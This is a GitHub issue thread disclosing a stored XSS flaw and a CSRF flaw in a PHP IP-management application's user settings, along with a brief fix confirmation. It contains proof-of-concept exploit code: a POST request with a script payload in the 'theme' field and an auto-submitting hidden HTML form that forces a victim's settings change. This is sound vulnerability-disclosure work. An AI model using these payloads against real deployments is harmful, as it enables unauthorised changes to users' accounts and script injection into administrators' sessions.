Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS (Stored) in /app/admin/users/print-user.php (CSRF too: /app/tools/user-menu/user-edit.php) #2326

Closed
magicOz opened this issue Nov 21, 2018 · 2 comments

Comments

@magicOz
Copy link

magicOz commented Nov 21, 2018

<td><?php print $user->theme=="" ? _("Default") : $user->theme ?></td>
in /app/admin/users/print-user.php is vulnerable to XSS.

Poc1:
Attacker:
Change theme parameter in user settings.
POST /app/tools/user-menu/user-edit.php
real_name=test&email=test%40test.com&password1=&password2=&theme=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&lang=1&mailNotify=No&mailChangelog=No&menuCompact=1&menuType=Dynamic

Victim:
View attacker user in admin panel
(/index.php?page=administration&section=users&subnetId=ID)
screenshot from 2018-11-21 21-24-38

Poc2:
/app/tools/user-menu/user-edit.php is vulnerable to CSRF.
An attacker can create a page with the following snippet and cause any user to change their settings and later trigger the XSS-vuln.
<form method="POST" action="http://localhost/phpipam/app/tools/user-menu/user-edit.php">
<input type="hidden" value="test" name="real_name">
<input type="hidden" value="test@test.com" name="email">
<input type="hidden" value="" name="password1">
<input type="hidden" value="" name="password2">
<input type="hidden" value="<script>alert('XSS');</script>" name="theme">
<input type="hidden" value="1" name="lang">
<input type="hidden" value="No" name="mailNotify">
<input type="hidden" value="No" name="mailChangelog">
<input type="hidden" value="1" name="menuCompact">
<input type="hidden" value="Dynamic" name="menuType">
<input type="submit" value=""></form>
<script>document.forms[0].submit();</script>

@GaryAllan
Copy link
Collaborator

Thanks. Please retest.

@magicOz
Copy link
Author

magicOz commented Dec 3, 2018

Looks good!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants